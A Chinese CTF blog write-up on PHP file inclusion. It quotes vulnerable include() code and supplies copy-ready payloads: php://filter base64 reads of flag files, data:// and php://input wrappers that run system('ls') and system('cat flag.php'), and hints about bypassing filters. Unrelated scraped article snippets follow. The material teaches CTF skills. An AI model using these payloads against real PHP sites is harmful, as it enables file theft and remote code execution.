文件包含的提升刷题

上一篇文章:一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含,那现在开始拔高提升刷题!

1.

拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。

直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,

看来我上一篇文章的就知道,直接伪协议开始读取,

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊,

这里因为要写入cookie,而且首页还提示了网站首页目录  /var/www/html/index.php,

那就稍作修改,抓包,添加cookie并且写入

 language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(2)

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

提示:PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf 
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的,需要可以自行复制
  •  上一篇文章:一篇文章带你入门文件包含-CSDN博客

  • 然后再来一道永恒的经典!!!

  • <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

这道题目有多种解法:

二话不说,先给大家献上干货,以下是CTF伪协议的常见用法,遇到直接自行复制使用即可

补充一下,第一点的<?php phpinfo()?>如果找不到flag,那也别傻站着,换个命令,<?php system("ls")?>或者直接<?php system("cat flag.php")?>

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的<?php phpinfo()?>,如果这个不行,也别傻站着,换个命令,你不知道对面会过滤什么,唯有多尝试。

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
 

这里拿一道题目演示成果:

?file=data:text/plain,<?php phpinfo()?>直接丢进去,就出现phpinfo,如果ctrl+f查找flag,发现没有,那也别傻站着,换个命令。<?php system("ls")?>

最后直接<?php system("cat fl4gisisish3r3.php")?>直接拿下

以上只是基本思路,因为看题目它过滤了php://,也就是用不了php:input协议那就换成data://text/plain协议,如果过滤的很严格,那就可以尝试下文件日志包含,以上只是提供了基本解题思路,如果你第一种方法失效了,就说明被过滤了,后面还有很多方法,别愣着,如果不知道对面过滤了什么,那就一个一个尝试。

以上只是其中微不足道的一种方法,这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题,那么你就可以说自己已经离开了文件上传的新手村了
 

祝大家CTF玩的开心

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/286376.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

花生壳使用记录

添加内网穿透 花生壳升级后&#xff0c;配置内网穿透时提示只能使用https。但其实赠送的两个域名有一个是可以免费配置https的&#xff0c;可以挨个试试 IP指向异常 配置完成内网穿穿透后&#xff0c;提示链接失败&#xff0c;如下 出现上面的原因&#xff0c;是因为我在ap…

如何通过ssh管道传输文件到ubuntu

如何在window系统中&#xff0c;通过ssh将指定的文件传输到ubuntu中呢&#xff1f; 比较常用的有以下种方式&#xff1a; 共享文件夹借助工具&#xff0c; FileZillaMobaxtermWinSCPXshell XFTP samba互传PuTTY pscp 今天主要分享一个使用python脚本搭建的一个&#xff0c;…

【Java】【Hutool】从零开始实现发送邮件功能

采用Hutool工具实现发送邮件&#xff0c;可以访问Hutool官网 引言&#xff1a;从零开始&#xff0c;实现一个基本功能&#xff0c;邮件发送 第一步&#xff1a;打开idea&#xff0c;新建maven工程&#xff0c;引入依赖&#xff0c;如下&#xff1a; <dependencies><…

基于JAVA的农村物流配送系统 开源项目

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统登录、注册界面2.2 系统功能2.2.1 快递信息管理&#xff1a;2.2.2 位置信息管理&#xff1a;2.2.3 配送人员分配&#xff1a;2.2.4 路线规划&#xff1a;2.2.5 个人中心&#xff1a;2.2.6 退换快递处理&#xff1a;…

飞天使-docker知识点10-docker总结

文章目录 docker 知识点汇总docker chatgpt解释学习路线cmd和 ENTRYPOINT 的区别harbor安装漏洞扫描 docker 知识点汇总 docker 基础用法 docker 镜像基础用法 docker 容器网络 docker 存储卷 dockerfile docker仓库 harbor docker-compose docker-swarmdocker chatgpt解释学…

DSP280049C初学(5)-基于IIC的FM24CL16B存储器的使用

DSP280049C初学&#xff08;5&#xff09;-基于IIC的FM24CL16B存储器的使用 实现目的&#xff1a; DSP280049C芯片能够通过IIC通讯实现写入和读取FM24CL16B存储器&#xff0c;其中本文参考了文章TMS320F280049 I2C IIC 相对于库函数操作CAT24C02 中文。 1.userIIC.h头文件配置…

confluence 备份与恢复

备份 confluence 每天会自动备份文件到 /var/atlassian/application-data/confluence/backups 新增定时任务&#xff0c;每天将备份的文件拷贝到远程服务器: crontab -l 0 0 3 * * ? sh /var/atlassian/application-data/confluence/backups/backup.sh#!/bin/shscp_linux_pa…

淘宝获得商品详情 API:电商平台的智能化数据源

一、引言 随着互联网技术的快速发展&#xff0c;电子商务在全球范围内得到了广泛的应用。作为中国最大的电商平台之一&#xff0c;淘宝拥有海量的商品信息和用户行为数据。然而&#xff0c;如何有效地获取和管理这些数据&#xff0c;以支持电商平台的智能化运营和精准营销&…

保护您的Android应用程序:Android应用程序安全一览

保护您的Android应用程序&#xff1a;Android应用程序安全一览 我们都知道Android是为所有人设计的——开放、面向开发者、面向用户&#xff0c;这种开放性为今天和明天的移动技术提供了很多便利。然而&#xff0c;开放性也带来了需要妥善处理的安全风险。 安全是我们所有人都…

操作系统系列:Unix进程系统调用fork,wait,exec

操作系统系列&#xff1a;Unix进程系统调用 fork系统调用fork()运用的小练习 wait系统调用Zombiesexec 系列系统调用 开发者可以查看创建新进程的系统调用&#xff0c;这个模块会讨论与进程相关的Unix系统调用&#xff0c;下一个模块会讨论Win32 APIs相关的进程。 fork系统调用…

德人合科技 | 公司电脑文件加密系统

公司电脑文件加密系统是一种可以对电脑文件进行加密的保护机制。它使用驱动层透明加密技术&#xff0c;能够在用户无感知的情况下对文件进行加密&#xff0c;从源头上保障数据安全和使用安全。 PC端访问地址&#xff1a; www.drhchina.com 此类系统主要有以下几个特点和功能&a…

ffmpeg入门之Windows开发之二(视频转码)

添加ffmpeg windows编译安装及入门指南-CSDN博客 的头文件和依赖库如下&#xff1a; main 函数如下&#xff1a; extern "C" { #ifdef __cplusplus #define __STDC_CONSTANT_MACROS #endif } extern "C" { #include <libavutil/timestamp.h> #in…